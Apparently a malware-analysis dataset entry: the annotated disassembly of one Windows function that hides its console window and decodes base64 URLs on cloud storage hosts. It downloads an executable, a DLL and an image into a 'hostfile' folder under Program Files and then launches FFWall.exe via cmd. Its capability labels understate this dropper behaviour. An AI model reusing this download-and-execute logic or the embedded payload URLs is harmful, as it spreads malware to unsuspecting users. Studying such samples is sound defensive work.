Function at 0x140002380
Capabilities:
Check if file exists
Create directory

Disassembly:
sub rsp, 0x1d8
mov qword [rsp + 0x1b8], 0xfffffffffffffffe
mov rax, qword [0x14002d0d0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x118], rax
xor edx, edx
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.C:Program_Files__x86_hostfile_
lea rcx, [rsp + 0xf0]
call fcn.140002810
nop
lea rcx, [rsp + 0xc8]
call fcn.140002f50
nop
lea rdx, str.aHR0cHM6Ly93d3c5OTk5OTk5OTlhc2Zhc2ctMTMyODAzMTM2OC5jb3MuYXAtdG9reW8ubXlxY2xvdWQuY29tL0ZGd2FsbHBhcGVyLmV4ZQ
lea rcx, [rsp + 0x28]
call fcn.140002810
nop
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xc8]
call fcn.140003010
nop
lea rcx, [rsp + 0x28]
call fcn.140002900
lea rdx, str.aHR0cHM6Ly93d3c5OTk5OTk5OTlhc2Zhc2ctMTMyODAzMTM2OC5jb3MuYXAtdG9reW8ubXlxY2xvdWQuY29tL3N0ZWFtX2FwaTY0LmRsbA
lea rcx, [rsp + 0x50]
call fcn.140002810
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xc8]
call fcn.140003010
nop
lea rcx, [rsp + 0x50]
call fcn.140002900
lea rdx, str.aHR0cHM6Ly93d3c5OTk5OTk5OTlhc2Zhc2ctMTMyODAzMTM2OC5jb3MuYXAtdG9reW8ubXlxY2xvdWQuY29tL0ZGV2FsbC5leGU
lea rcx, [rsp + 0x78]
call fcn.140002810
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xc8]
call fcn.140003010
nop
lea rcx, [rsp + 0x78]
call fcn.140002900
lea rdx, str.aHR0cHM6Ly93d3d3OTBzYWRyZWctMTMyODAzMTM2OC5jb3MuYXAtY2hlbmdkdS5teXFjbG91ZC5jb20vMC4wLmpwZw
lea rcx, [rsp + 0xa0]
call fcn.140002810
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0xc8]
call fcn.140003010
nop
lea rcx, [rsp + 0xa0]
call fcn.140002900
lea rcx, [rsp + 0xf0]
call fcn.140002930
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x140002549
lea rcx, [rsp + 0xf0]
call fcn.140002930
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140002549
lea rdx, str.Failed_to_create_directory:
lea rcx, [0x14002e7d0]
call fcn.140007f00
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.140008290
lea rdx, [0x140001d70]
mov rcx, rax
call fcn.1400029e0
mov dword [rsp + 0x1a8], 1
lea rcx, [rsp + 0xc8]
call fcn.140002f90
nop
lea rcx, [rsp + 0xf0]
call fcn.140002900
mov eax, dword [rsp + 0x1a8]
jmp 0x1400027a1
mov qword [rsp + 0x128], 0
jmp 0x14000256a
mov rax, qword [rsp + 0x128]
inc rax
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0xc8]
call fcn.140002fc0
cmp qword [rsp + 0x128], rax
jae 0x1400026bb
mov rdx, qword [rsp + 0x128]
lea rcx, [rsp + 0xc8]
call fcn.140002ff0
mov rdx, rax
lea rcx, [rsp + 0x158]
call fcn.140001da0
nop
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x180]
call fcn.140002120
nop
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x130]
call fcn.140008630
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x158]
call fcn.140001f80
movzx eax, al
test eax, eax
jne 0x14000268d
lea rdx, str.Failed_to_download_file_from:
lea rcx, [0x14002e7d0]
call fcn.140007f00
lea rdx, [rsp + 0x158]
mov rcx, rax
call fcn.140008290
lea rdx, [0x140001d70]
mov rcx, rax
call fcn.1400029e0
mov dword [rsp + 0x1ac], 1
lea rcx, [rsp + 0x130]
call fcn.140002900
nop
lea rcx, [rsp + 0x180]
call fcn.140002900
nop
lea rcx, [rsp + 0x158]
call fcn.140002900
nop
lea rcx, [rsp + 0xc8]
call fcn.140002f90
nop
lea rcx, [rsp + 0xf0]
call fcn.140002900
mov eax, dword [rsp + 0x1ac]
jmp 0x1400027a1
lea rcx, [rsp + 0x130]
call fcn.140002900
nop
lea rcx, [rsp + 0x180]
call fcn.140002900
nop
lea rcx, [rsp + 0x158]
call fcn.140002900
jmp 0x140002557
call fcn.1400021c0
call fcn.1400022a0
lea rax, str.cmd__c__C:Program_Files__x86_hostfileFFWall.exe_
mov qword [rsp + 0xe8], rax
mov rcx, qword [rsp + 0xe8]
call fcn.14000a2e8
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 0
je 0x140002752
lea rdx, str.Command_execution_failed_with_error_code:
lea rcx, [0x14002e7d0]
call fcn.140007f00
mov edx, dword [rsp + 0x120]
mov rcx, rax
call fcn.140002a00
lea rdx, [0x140001d70]
mov rcx, rax
call fcn.1400029e0
mov dword [rsp + 0x1b0], 1
lea rcx, [rsp + 0xc8]
call fcn.140002f90
nop
lea rcx, [rsp + 0xf0]
call fcn.140002900
mov eax, dword [rsp + 0x1b0]
jmp 0x1400027a1
lea rdx, str.Command_executed_successfully.
lea rcx, [0x14002e730]
call fcn.140007f00
lea rdx, [0x140001d70]
mov rcx, rax
call fcn.1400029e0
mov dword [rsp + 0x1b4], 0
lea rcx, [rsp + 0xc8]
call fcn.140002f90
nop
lea rcx, [rsp + 0xf0]
call fcn.140002900
mov eax, dword [rsp + 0x1b4]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.140009cb0
add rsp, 0x1d8
ret